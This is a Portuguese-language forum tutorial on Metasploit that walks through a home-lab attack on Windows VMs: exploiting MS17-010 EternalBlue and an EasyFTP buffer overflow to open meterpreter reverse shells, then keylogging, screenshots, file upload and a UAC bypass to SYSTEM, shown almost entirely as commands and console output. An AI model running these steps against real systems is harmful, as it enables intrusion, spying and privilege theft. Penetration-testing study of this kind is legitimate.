Descrição
Ferramenta desenvolvida pelo hacker HD Moore como um projeto opensource em 2003. Originalmente escrito em perl. Metasploit foi completamente reescrito em ruby em 2007. Em 2009, foi comprado pela Rapid7.
Então, mas o que é o metasploit? Eu diria que é um framework de exploitação, o metasploit contém exploits públicos para utilização, assim como permite a geração de payloads sob demanda para diferentes arquiteturas de alvos. É algo digno de se tatuar no peito!
Nesse paper vamos abordar então o básico sobre a utilização do metasploit e iremos ver como utilizar exploits públicos e como utilizar o payload meterpreter. Claro que o metasploit é muito mais do que só isso, porém ai se você quiser saber mais, você sabe ler e escrever e tal, google it and have fun.
A arquitetura do Metasploit é dividida em três categorias: bibliotecas, interfaces e módulos. As interfaces(console,GUI e web) fornecem um meio de interagirmos com os seus módulos(Exploit,playload,auxiliares,encoders, etc.).
Alguns conceitos básicos sobre os modúlos do Metasploit:
– Exploit: É a prova de conceito(PoC) de que a vulnerabilidade existe. Com ele é possível explorar a vulnerabilidade no software afetado, ganhando acesso antes não permitido.
– Payload: É um código malicioso que faz parte do exploit(ou compilado independentemente) que executa comandos arbitrários no sistema alvo. O payload estabelece um canal de comunicação entre o atacante e o alvo. Com o payload é possível, por exemplo, obter o controle da Shell do sistema.
Alguns tipos de Payloads:
– Staged.
– Inline.
– NoNX (Bypass the No Execute Feature in some modern CPU’s’).
– PAssiveX (Bypasses restricted outbound firewall rules).
– Shellcode: É um código malicioso que faz parte do exploit que tem como missão injetar códigos no sistema alvo, causando, dessa forma, o bufferoverflow ou estouro de pilha. Normalmente o shellcode vem acompanhado do payload. Pois uma vez que o buffer oveerflow seja feito por meio do shellcode, será necessária a injeção de um código malicioso que permita, por exemplo, obter o controle do shell do sistema. O shellcode é o que de fato explora a vulnerabilidade.
– Módulos auxiliares: Conjunto de ferramentas que foram desenvolvidas para tarefas auxiliares na exploração do sistema alvo. Por exemplo: port scanner, sniffing, ferramentas de negação de serviço etc.
– Encoders: Ferramentas que foram desenvolvidas com o intuido de burlas sistemas de antivírus, firewall, IDS, ou ferramentas anti-malware.
Instalação:
Para realizar a instalação, vocẽ pode clicar nesse link aqui https://github.com/rapid7/metasploit-fr … Installers que el vai te instruir a rodar o comando abaixo:
Código: Selecionar todos
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall
Vamos instalar o banco de dados postgresql:
Código: Selecionar todos
apt install postgresql
root@burn:~# systemctl start postgresql
acid@burn:~$ sudo su postgres
[sudo] password for acid:
postgres@burn:~$ createuser msf -P -S -R -D
Enter password for new role:
Enter it again:
postgres@burn:~$ createdb -O msf msf
postgres@burn:~$ exit
:~$ vim .msf4/database.yml #-> Altere para a senha definida do usuário msf no banco de dados postgresql.
Caso o procedimento anterior falhe, considere em recriar o arquivo de configuração da seguinte forma:
Criando o arquivo de configuração que fica em ~/.msf4/database.yml
Código: Selecionar todos
root@kali:~# msfdb delete
root@kali:~# msfdb init
Então, vamos verificar o setup:
Código: Selecionar todos
:~$ msfconsole
msf > db_status
[*] postgresql connected to msf
Overview:
Existem diversas interfaces para o uso do Metasploit, como msfconsole, msfcli, armitage e outros. Vamos abordar o msfconsole.
Para iniciar a console:
Código: Selecionar todos
:~$ msfconsole
Para verificar os comandos que podem ser utilizados:
Código: Selecionar todos
:~$ help
Core Commands
=============
Command Description
------- -----------
? Help menu
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
exit Exit the console
get Gets the value of a context-specific variable
getg Gets the value of a global variable
grep Grep the output of another command
help Help menu
history Show command history
irb Drop into irb scripting mode
load Load a framework plugin
quit Exit the console
route Route traffic through a session
save Saves the active datastores
sessions Dump session listings and display information about sessions
set Sets a context-specific variable to a value
setg Sets a global variable to a value
sleep Do nothing for the specified number of seconds
spool Write console output into a file as well the screen
threads View and manipulate background threads
unload Unload a framework plugin
unset Unsets one or more context-specific variables
unsetg Unsets one or more global variables
version Show the framework and console library version numbers
Module Commands
===============
Command Description
------- -----------
advanced Displays advanced options for one or more modules
back Move back from the current context
edit Edit the current module or a file with the preferred editor
info Displays information about one or more modules
loadpath Searches for and loads modules from a path
options Displays global options or for one or more modules
popm Pops the latest module off the stack and makes it active
previous Sets the previously loaded module as the current module
pushm Pushes the active or list of modules onto the module stack
reload_all Reloads all modules from all defined module paths
reload_lib Reload one or more library files from specified paths
search Searches module names and descriptions
show Displays modules of a given type, or all modules
use Selects a module by name
Job Commands
============
Command Description
------- -----------
handler Start a payload handler as job
jobs Displays and manages jobs
kill Kill a job
rename_job Rename a job
Resource Script Commands
========================
Command Description
------- -----------
makerc Save commands entered since start to a file
resource Run the commands stored in a file
Database Backend Commands
=========================
Command Description
------- -----------
db_connect Connect to an existing database
db_disconnect Disconnect from the current database instance
db_export Export a file containing the contents of the database
db_import Import a scan result file (filetype will be auto-detected)
db_nmap Executes nmap and records the output automatically
db_rebuild_cache Rebuilds the database-stored module cache
db_status Show the current database status
hosts List all hosts in the database
loot List all loot in the database
notes List all notes in the database
services List all services in the database
vulns List all vulnerabilities in the database
workspace Switch between database workspaces
Credentials Backend Commands
============================
Command Description
------- -----------
creds List all credentials in the database
Auxiliary Commands
==================
Command Description
------- -----------
check Check to see if a target is vulnerable
exploit This is an alias for the run command
pry Open a Pry session on the current module
rcheck Reloads the module and checks if the target is vulnerable
recheck This is an alias for the rcheck command
reload Reloads the auxiliary module
rerun Reloads and launches the auxiliary module
rexploit This is an alias for the rerun command
run Launches the auxiliary module
Para verificar se existe conexão com o banco de dados para cache:
Código: Selecionar todos
msf > db_status
Realizando a atualização do software:
Código: Selecionar todos
msf > msfupdate
Realizando Buscas no msf
Realizando buscas pelo tipo exploit:
Código: Selecionar todos
msf > search type:exploit
Realizando buscas pelo tipo exploit e plataforma solaris:
Código: Selecionar todos
msf > search type:exploit platform:solaris
Procurando o exploit ms17-010:
Código: Selecionar todos
msf > search type:exploit ms17-010
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
exploit/windows/smb/ms17_010_psexec 2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
Então, vamos brincar um pouco. Vou subir uma máquina virtual Windows aqui e brincar com o ms17-010. Vamos então pular a parte que eu configuro toda a VM pro laboratório e ir direto pra parte da detecção da vulnerabilidade.
Vamos usar um módulo auxiliar próprio para detecção da falha ms17-010:
Código: Selecionar todos
msf > search type:auxiliary ms17-010
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/smb/ms17_010_command 2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
auxiliary/scanner/smb/smb_ms17_010 normal MS17-010 SMB RCE Detection
Vamos obter mais informações sobre o auxiliary/scanner/smb/smb_ms17_010, para isso basta utilizar o comando info
Código: Selecionar todos
msf > info auxiliary/scanner/smb/smb_ms17_01
Name: MS17-010 SMB RCE Detection
Module: auxiliary/scanner/smb/smb_ms17_010
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Sean Dillon <sean.dillon@risksense.com>
Luke Jennings
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CHECK_ARCH true no Check for architecture on vulnerable hosts
CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE false no Check for named pipe on vulnerable hosts
NAMED_PIPES /opt/metasploit-framework/embedded/framework/data/wordlists/named_pipes.txt yes List of named pipes to check
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads
Description:
Uses information disclosure to determine if MS17-010 has been
patched or not. Specifically, it connects to the IPC$ tree and
attempts a transaction on FID 0. If the status returned is
"STATUS_INSUFF_SERVER_RESOURCES", the machine does not have the
MS17-010 patch. If the machine is missing the MS17-010 patch, the
module will check for an existing DoublePulsar (ring 0
shellcode/malware) infection. This module does not require valid SMB
credentials in default server configurations. It can log on as the
user "\" and connect to IPC$.
References:
Also known as: DOUBLEPULSAR
Also known as: ETERNALBLUE
https://cvedetails.com/cve/CVE-2017-0143/
https://cvedetails.com/cve/CVE-2017-0144/
https://cvedetails.com/cve/CVE-2017-0145/
https://cvedetails.com/cve/CVE-2017-0146/
https://cvedetails.com/cve/CVE-2017-0147/
https://cvedetails.com/cve/CVE-2017-0148/
https://technet.microsoft.com/en-us/library/security/MS17-010
https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html
https://github.com/countercept/doublepulsar-detection-script
https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
Nosso cara é o auxiliary/scanner/smb/smb_ms17_010. Vamos usar ele:
Código: Selecionar todos
msf > use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(scanner/smb/smb_ms17_010) >
Repare que a shell mudou, agora nós temos que configurar algumas opções desse cara. Agora vamos ver as opções que precisam ser configuradas:
Use show options para verificar as opções que podem ser definidas:
Código: Selecionar todos
msf auxiliary(scanner/smb/smb_ms17_010) > show options
Module options (auxiliary/scanner/smb/smb_ms17_010):
Name Current Setting Required Description
---- --------------- -------- -----------
CHECK_ARCH true no Check for architecture on vulnerable hosts
CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE false no Check for named pipe on vulnerable hosts
NAMED_PIPES /opt/metasploit-framework/embedded/framework/data/wordlists/named_pipes.txt yes List of named pipes to check
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads
Use show missing para ver as opções que faltam configurar:
Código: Selecionar todos
msf auxiliary(scanner/smb/smb_ms17_010) > show missing
Module options (auxiliary/scanner/smb/smb_ms17_010):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
Como pode ver, falta apenas definir o RHOSTS, só por nota, o RPORT por exemplo já vem configurado na porta padrão do serviço, que é a 445.
Então vamos definir nosso alvo:
Código: Selecionar todos
msf auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 10.155.0.46
RHOSTS => 10.155.0.46
Então vamos rodar o nosso scanner pra verificar se o alvo é vulnerável:
Código: Selecionar todos
msf auxiliary(scanner/smb/smb_ms17_010) > exploit
[+] 192.168.1.102:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x86 (32-bit)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Hell Ya, vulnerável!
Agora, precisamos pegar o exploit pra realmente explorar a falha e invadir o host, então vamos procurar novamente o exploit do ms17-010:
Código: Selecionar todos
msf auxiliary(scanner/smb/smb_ms17_010) > search type:exploit ms17-010
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
exploit/windows/smb/ms17_010_psexec 2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
Esse é o nosso cara exploit/windows/smb/ms17_010_eternalblue, vamos lá então:
Código: Selecionar todos
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
GroomAllocations 12 yes Initial number of times to groom the kernel pool.
GroomDelta 5 yes The amount to increase the groom count by per try.
MaxExploitAttempts 3 yes The number of times to retry the exploit.
ProcessName spoolsv.exe yes Process to inject payload into.
RHOST yes The target address
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VerifyArch true yes Check if remote architecture matches exploit Target.
VerifyTarget true yes Check if remote OS matches exploit Target.
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.1.101
RHOST => 192.168.1.101
msf exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
GroomAllocations 12 yes Initial number of times to groom the kernel pool.
GroomDelta 5 yes The amount to increase the groom count by per try.
MaxExploitAttempts 3 yes The number of times to retry the exploit.
ProcessName spoolsv.exe yes Process to inject payload into.
RHOST 192.168.1.101 yes The target address
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VerifyArch true yes Check if remote architecture matches exploit Target.
VerifyTarget true yes Check if remote OS matches exploit Target.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
msf exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.111
LHOST => 192.168.1.111
msf exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 192.168.1.111:4444
[*] 192.168.1.101:445 - Connecting to target for exploitation.
[+] 192.168.1.101:445 - Connection established for exploitation.
[+] 192.168.1.101:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.101:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.1.101:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 192.168.1.101:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service
[*] 192.168.1.101:445 - 0x00000020 50 61 63 6b 20 31 Pack 1
[+] 192.168.1.101:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.101:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.101:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.101:445 - Starting non-paged pool grooming
[+] 192.168.1.101:445 - Sending SMBv2 buffers
[+] 192.168.1.101:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.101:445 - Sending final SMBv2 buffers.
[*] 192.168.1.101:445 - Sending last fragment of exploit packet!
[*] 192.168.1.101:445 - Receiving response from exploit packet
[+] 192.168.1.101:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.101:445 - Sending egg to corrupted connection.
[*] 192.168.1.101:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.111:4444 -> 192.168.1.101:49165) at 2018-07-23 10:47:03 -0300
[+] 192.168.1.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter > getuid
Server username: AUTORIDADE NT\SISTEMA
Pra nós darmos uma olhada então no payload meterpreter, vamos usar o software easyftp v1.7.0.11, depois de muito procurar, encontrei um link pra download:
https://samsclass.info/123/proj10/easyf … .11-en.zip
Então instala isso ai no windows, nextnext e pa e vamos voltar pro msfconsole:
Código: Selecionar todos
msf > search type:exploit easyftp
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/ftp/easyftp_cwd_fixret 2010-02-16 great EasyFTP Server CWD Command Stack Buffer Overflow
exploit/windows/ftp/easyftp_list_fixret 2010-07-05 great EasyFTP Server LIST Command Stack Buffer Overflow
exploit/windows/ftp/easyftp_mkd_fixret 2010-04-04 great EasyFTP Server MKD Command Stack Buffer Overflow
exploit/windows/http/easyftp_list 2010-02-18 great EasyFTP Server list.html path Stack Buffer Overflow
Definindo o payload:
Código: Selecionar todos
msf > use exploit/windows/ftp/easyftp_cwd_fixret
Definindo o alvo:
Código: Selecionar todos
msf exploit(windows/ftp/easyftp_cwd_fixret) > set RHOST 192.168.1.102
RHOST => 192.168.1.102
Escolhendo o payload:
Código: Selecionar todos
msf exploit(windows/ftp/easyftp_cwd_fixret) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
Uma vez que um payload é definido, existem novas opções para se configurar, observe:
Código: Selecionar todos
msf exploit(windows/ftp/easyftp_cwd_fixret) > show missing
Module options (exploit/windows/ftp/easyftp_cwd_fixret):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
No caso, LHOST é a opção que define qual é o endereço IP que a conexão reversa vai tentar estabelecer conexão, vamos definir para o IP da nossa máquina:
Código: Selecionar todos
msf exploit(windows/ftp/easyftp_cwd_fixret) > set LHOST 192.168.1.111
LHOST => 192.168.1.111
Vamos definir o target:
Código: Selecionar todos
msf exploit(windows/ftp/easyftp_cwd_fixret) > show targets
Exploit targets:
Id Name
-- ----
0 Windows Universal - v1.7.0.2
1 Windows Universal - v1.7.0.3
2 Windows Universal - v1.7.0.4
3 Windows Universal - v1.7.0.5
4 Windows Universal - v1.7.0.6
5 Windows Universal - v1.7.0.7
6 Windows Universal - v1.7.0.8
7 Windows Universal - v1.7.0.9
8 Windows Universal - v1.7.0.10
9 Windows Universal - v1.7.0.11
msf exploit(windows/ftp/easyftp_cwd_fixret) > set target 9
target => 9
OKay, good to go, lets exploit!
Código: Selecionar todos
msf exploit(windows/ftp/easyftp_cwd_fixret) > exploit
[*] Started reverse TCP handler on 192.168.1.111:4444
[*] 192.168.1.102:21 - Prepending fixRet...
[*] 192.168.1.102:21 - Adding the payload...
[*] 192.168.1.102:21 - Overwriting part of the payload with target address...
[*] 192.168.1.102:21 - Sending exploit buffer...
[*] Sending stage (179779 bytes) to 192.168.1.102
[*] Meterpreter session 1 opened (192.168.1.111:4444 -> 192.168.1.102:49249) at 2018-07-19 20:02:23 -0300
meterpreter > getuid
Server username: username-PC\username
Estamos dentro!
Meterpreter:
O meterpreter é um payload poderoso que geralmente queremos usar para infectar nossos alvos. Ele opera com injeção de .dll e reside inteiramente na memória, não deixando rastros de sua existência no disco rígido ou filesystem. Ele possui vários comandos e scripts específicos desenvolvidos para ele, permitindo que trabalhemos bem de boa com os sistemas alvos.
Alguns comandos do meterpreter uma vez utilizado na infecção do alvo:
Core Commands:
Exibindo o help:
Código: Selecionar todos
meterpreter > help
Jogando a sessão para background:
Código: Selecionar todos
meterpreter > background
Comandos de Rede:
Visualizações da Tabela ARP:
Código: Selecionar todos
meterpreter > arp
Verificando interfaces de rede:
Código: Selecionar todos
meterpreter > ifconfig
Verificando conexões de rede do sistema:
Código: Selecionar todos
meterpreter > netstat
Comandos do Sistema:
Obtendo informações do computador, versão do sistema:
Código: Selecionar todos
meterpreter > sysinfo
Desligando o alvo:
Código: Selecionar todos
meterpreter > shutdown
Reiniciando o alvo:
Código: Selecionar todos
meterpreter > reboot
Obtendo uma shell no sistema:
Código: Selecionar todos
meterpreter > shell
Obtendo informações do usuário atual:
Código: Selecionar todos
meterpreter > getuid
Executar um Arquivo:
Código: Selecionar todos
meterpreter > execute -f calc.exe
Executar um arquivo em modo oculto:
Código: Selecionar todos
meterpreter > execute -f calc.exe -H
Exibindo processos do sistema alvo:
Código: Selecionar todos
meterpreter > ps
Para finalizar processos:
Código: Selecionar todos
meterpreter > kill 666
Download de arquivos:
Código: Selecionar todos
meterpreter > download ftpaccess.xml
[*] Downloading: ftpaccess.xml -> ftpaccess.xml
[*] Downloaded 52.00 B of 52.00 B (100.0%): ftpaccess.xml -> ftpaccess.xml
[*] download : ftpaccess.xml -> ftpaccess.xml
Upload de arquivos:
Código: Selecionar todos
meterpreter > upload post-exploitation.exe
[*] uploading : post-exploitation.exe -> post-exploitation.exe
[*] uploaded : post-exploitation.exe -> post-exploitation.exe
meterpreter > dir
Listing: C:\Users\username\Desktop\setup\easyftp-server-1.7.0.11-en
===================================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100777/rwxrwxrwx 1482752 fil 2018-07-19 19:52:23 -0300 Ftpconsole.exe
40777/rwxrwxrwx 0 dir 2018-07-19 19:52:38 -0300 anonymous
100666/rw-rw-rw- 52 fil 2018-07-19 19:52:38 -0300 ftpaccess.xml
100777/rwxrwxrwx 192512 fil 2018-07-19 19:52:23 -0300 ftpbasicsvr.exe
100666/rw-rw-rw- 209 fil 2018-07-19 19:52:47 -0300 ftpconfig.xml
100666/rw-rw-rw- 230 fil 2018-07-19 19:52:38 -0300 ftpusers.xml
[b]100777/rwxrwxrwx 0 fil 2018-07-19 20:05:09 -0300 post-exploitation.exe[/b]
Comandos da Interface do Usuário:
Keylogger:
Iniciando o keylogger:
Código: Selecionar todos
meterpreter > keyscan_start
Starting the keystroke sniffer ...
Verificando a captura do keylogger:
Código: Selecionar todos
meterpreter > keyscan_dump
Dumping captured keystrokes...
testestestesteagw<Caps Lock><Caps Lock><Caps Lock>GWWGWG<Caps Lock><Caps Lock><Caps Lock>
Finalizando o keylogger:
Código: Selecionar todos
meterpreter > keyscan_stop
Stopping the keystroke sniffer...
Captura de Tela:
Código: Selecionar todos
meterpreter > screenshot
Screenshot saved to: /home/user/wMETpIqP.jpeg
Escalando privilégios
Para escalar os privilégios, vamos usar o bypassuac, e depois um simples getsystem:
Código: Selecionar todos
meterpreter > background
[*] Backgrounding session 1...
msf exploit(windows/local/bypassuac) > use exploit/windows/local/bypassuac_injection
msf exploit(windows/local/bypassuac_injection) > set session 1
session => 1
msf exploit(windows/local/bypassuac_injection) > run
[*] Started reverse TCP handler on 192.168.1.111:4444
[+] Windows 7 (Build 7601, Service Pack 1). may be vulnerable.
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Uploading the Payload DLL to the filesystem...
[*] Spawning process with Windows Publisher Certificate, to inject into...
[+] Successfully injected payload in to process: 3784
[*] Sending stage (179779 bytes) to 192.168.1.102
[*] Meterpreter session 3 opened (192.168.1.111:4444 -> 192.168.1.102:49255) at 2018-07-19 20:12:46 -0300
meterpreter > getuid
Server username: username-PC\username
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: AUTORIDADE NT\SISTEMA
Conclusão:
Bom, nesse paper deu pra sacar o que é o metasploit e demos uma olhada mais na parte de utilização dos exploits públicos para exploração de alvos microsoft, não vimos a parte de geração de payload, outras coisas como pivoting, automação/integração de scripting e migração de pid. Mas, quem sabe um dia eu poste algo sobre.
Então deu pra sacar que o metasploit vai ser seu novo melhor amigo agora, mas lembre-se, é sempre interessante você saber usar os exploits sem ter esse “framework”, é bom pois nem sempre vão existir os modulos dos exploits no metasploit e você vai se ver sozinho!
Fontes:
http://www.thegeeky.space/2014/12/how-t … ework.html
https://stackoverflow.com/questions/127 … r-password
https://www.offensive-security.com/meta … databases/
https://stackoverflow.com/questions/325 … t#40075220
https://www.a2hosting.com/kb/developer- … mmand-line
https://null-byte.wonderhowto.com/how-t … oit-basics